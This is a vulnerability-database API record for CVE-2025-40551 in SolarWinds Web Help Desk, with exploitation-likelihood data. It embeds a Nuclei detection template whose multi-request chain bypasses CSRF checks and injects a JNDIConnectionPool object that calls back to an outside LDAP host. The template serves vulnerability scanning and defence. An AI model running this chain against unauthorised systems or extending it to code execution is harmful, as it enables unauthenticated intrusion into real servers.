{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-40551/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-40551/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-40551/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-40551/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-40551/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-40551"},"sightings":{"href":"/api/v1/sightings/cve-2025-40551"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.83622,"kev":true,"percentile":0.99673},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-40551.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-40551\n\ninfo:\n  name: SolarWinds Web Help Desk < 2026.1 - Unauthenticated JNDI Injection RCE\n  author: Horizon3.ai\n  severity: critical\n  description: |\n    SolarWinds Web Help Desk before version 2026.1 contains an insecure deserialization vulnerability in the jabsorb JSON-RPC library. When chained with a CSRF whitelist bypass (CVE-2025-40536), remote unauthenticated attackers can exploit JNDI injection via the Apache Xalan JNDIConnectionPool class to achieve remote code execution. The bypass involves including \"/ajax/\" in a query parameter to circumvent URI validation, while switching from \"/ajax/\" to \"/wo/\" endpoints bypasses payload sanitization routines.\n  impact: |\n    Remote attackers can execute arbitrary code on the host machine without authentication, potentially leading to full system compromise.\n  remediation: |\n    Update SolarWinds Web Help Desk to version 2026.1 or later.\n  reference:\n    - https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/\n    - https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40551\n    - https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-40551\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-40551\n    cwe-id: CWE-502\n    epss-score: 0.83622\n    epss-percentile: 0.99673\n  metadata:\n    verified: true\n    max-request: 6\n    vendor: solarwinds\n    product: web_help_desk\n    shodan-query: http.favicon.hash:1895809524\n  tags: cve,cve2025,solarwinds,webhelpdesk,deserialization,rce,jndi,oast,kev,vkev\n\nflow: |\n  http(\"initial_session\") &&\n  http(\"login_pref_page\") &&\n  http(\"trigger_saml_object\") &&\n  http(\"create_jsonrpc_bridge\") &&\n  http(\"create_malicious_object\") &&\n  http(\"trigger_jndi_lookup\")\n\nhttp:\n  - id: initial_session\n    method: GET\n    path:\n      - \"{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa\"\n    headers:\n      x-webobjects-recording: 1\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(tolower(all_headers), \"x-webobjects-session-id\")\n          - contains(tolower(all_headers), \"xsrf-token\")\n          - contains(toupper(all_headers), \"JSESSIONID\")\n        internal: true\n        condition: and\n\n      - type: status\n        status:\n          - 200\n        internal: true\n\n    extractors:\n      - type: regex\n        name: wosid\n        part: header\n        regex:\n          - \"[xX]-[W]ebobjects-[sS]ession-[iI]d: ([a-zA-Z0-9]{22})\"\n        group: 1\n        internal: true\n\n      - type: regex\n        name: xsrf_token\n        part: header\n        group: 1\n        regex:\n          - \"Set-Cookie: XSRF-TOKEN=([a-z0-9-]{36});\"\n        internal: true\n\n  - id: login_pref_page\n    method: GET\n    path:\n      - \"{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref\"\n    headers:\n      X-Xsrf-Token: \"{{xsrf_token}}\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - externalAuthContainer\n          - SAML 2.0\n        internal: true\n        condition: and\n\n      - type: status\n        status:\n          - 200\n        internal: true\n\n    extractors:\n      - type: regex\n        name: externalAuthContainer\n        part: body\n        group: 1\n        regex:\n          - 'id=\"externalAuthContainer\" updateUrl=\"/(helpdesk/WebObjects/Helpdesk.woa/ajax/[0-9]+\\.[0-9]+)'\n        internal: true\n\n  - id: trigger_saml_object\n    method: POST\n    path:\n      - \"{{BaseURL}}/{{externalAuthContainer}}\"\n    headers:\n      X-Xsrf-Token: \"{{xsrf_token}}\"\n    body: 0.7.1.3.1.0.0.0.1.1.0=1&_csrf={{xsrf_token}}\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - id: create_jsonrpc_bridge\n    method: GET\n    path:\n      - \"{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref\"\n    headers:\n      X-Xsrf-Token: \"{{xsrf_token}}\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - JSONRpcClient\n        internal: true\n\n      - type: status\n        status:\n          - 200\n        internal: true\n\n    extractors:\n      - type: regex\n        name: jsonrpc_endpoint\n        part: body\n        group: 1\n        regex:\n          - \"JSONRpcClient\\\\('/helpdesk/WebObjects/Helpdesk.woa/ajax/([0-9.]+)'\\\\);\"\n        internal: true\n\n  - id: create_malicious_object\n    method: POST\n    path:\n      - \"{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}\"\n    headers:\n      X-Xsrf-Token: \"{{xsrf_token}}\"\n      Content-Type: application/json\n    body: |\n      {\n        \"bypass\":\"java.parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf\",\n        \"id\":1,\n        \"method\":\"wopage.setVariableValueForName\",\n        \"params\":[\n          \"malicious\",\n          {\n            \"javaClass\":\"org.apache.xalan.lib.sql.JNDIConnectionPool\",\n            \"jndiPath\":\"ldap://{{interactsh-url}}/ou=ou,o=o\"\n          }\n        ]\n      }\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - id: trigger_jndi_lookup\n    method: POST\n    path:\n      - \"{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}\"\n    headers:\n      X-Xsrf-Token: \"{{xsrf_token}}\"\n      Content-Type: application/json\n    body: |\n      {\n        \"bypass\":\"java.parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf\",\n        \"id\":1,\n        \"method\":\"wopage.variableValueForName\",\n        \"params\":[\"malicious\"]\n      }\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022015ec364bd95c447853811b64f770058a94f7ef5a0dc5f91b0c9f83eba9f1719d02202640867f5c297b25438647e5c921526bdcb006cb75e681519ea15d7bcbebcf35:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-40551"}